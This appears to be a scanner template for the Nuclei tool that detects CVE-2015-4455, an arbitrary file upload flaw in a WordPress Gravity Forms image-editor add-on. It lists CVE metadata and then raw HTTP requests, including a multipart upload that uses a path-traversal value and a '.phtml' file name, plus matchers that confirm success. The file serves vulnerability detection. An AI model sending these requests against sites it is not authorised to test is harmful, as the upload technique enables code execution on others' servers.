70 lines
2.7 KiB
YAML
70 lines
2.7 KiB
YAML
id: CVE-2015-4455
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info:
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name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
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author: MaStErChO
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severity: critical
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description: |
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Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2015-4455
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- http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2015-4455
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cwe-id: CWE-434
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epss-score: 0.55856
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epss-percentile: 0.97673
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cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
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metadata:
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vendor: aviary_image_editor_add-on_for_gravity_forms_project
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product: aviary_image_editor_add-on_for_gravity_forms
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framework: wordpress
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tags: cve,cve2015,packetstorm,intrusive,file-upload
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variables:
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filename: '{{rand_base(7, "abc")}}'
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http:
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- raw:
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- |
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GET /?gf_page=upload HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /?gf_page=upload HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
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--a54906fe12c504cb01ca836d062f82fa
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Content-Disposition: form-data; name="field_id"
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3
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--a54906fe12c504cb01ca836d062f82fa
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Content-Disposition: form-data; name="form_id"
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1
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--a54906fe12c504cb01ca836d062f82fa
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Content-Disposition: form-data; name="gform_unique_id"
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../../../
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--a54906fe12c504cb01ca836d062f82fa
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Content-Disposition: form-data; name="name"
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{{filename}}.phtml
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--a54906fe12c504cb01ca836d062f82fa
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Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
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Content-Type: text/html
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{{randstr}}
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--a54906fe12c504cb01ca836d062f82fa--
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_1, "Failed to upload file")'
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- 'status_code_2 == 200'
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- 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
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condition: and
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# digest: 4a0a00473045022078ca2d70ae668cef1731fec1043351a5c346027f11a5db597e9f60a953f42a5a022100924427e22c3329c6e9badf1c9c69e97e8fca728ccfee6e73e656b4b388ab0df4:922c64590222798bb761d5b6d8e72950 |